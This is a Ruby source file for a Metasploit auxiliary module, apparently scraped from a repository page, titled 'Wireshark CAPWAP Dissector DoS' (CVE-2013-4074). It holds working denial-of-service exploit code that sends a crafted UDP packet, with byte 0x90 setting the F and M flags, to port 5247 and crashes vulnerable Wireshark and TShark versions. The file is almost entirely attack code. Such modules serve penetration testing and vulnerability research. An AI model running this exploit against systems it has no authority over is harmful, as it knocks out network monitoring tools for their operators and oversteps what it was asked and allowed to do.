Path: blob/master/modules/auxiliary/dos/wireshark/capwap.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Wireshark CAPWAP Dissector DoS',14'Description' => %q{15This module injects a malformed UDP packet to crash Wireshark and TShark 1.8.0 to 1.8.7, as well16as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a17packet correctly when an incorrect length is given.18},19'License' => MSF_LICENSE,20'Author' => [21'Laurent Butti', # Discovery vulnerability22'j0sm1' # Auxiliary msf module23],24'References' => [25['CVE', '2013-4074'],26['OSVDB', '94091'],27['BID', '60500']28],29'DisclosureDate' => '2014-04-28',30'Notes' => {31'Stability' => [CRASH_SERVICE_DOWN],32'SideEffects' => [],33'Reliability' => []34}35)36)3738# Protocol capwap needs port 5247 to trigger the dissector in wireshark39register_options([ Opt::RPORT(5247) ])40end4142def run43connect_udp4445# We send a packet incomplete to crash dissector46print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")47# With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then48# the dissector crash49# You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt50# F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 00051buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)52udp_sock.put(buf)5354disconnect_udp55end56end575859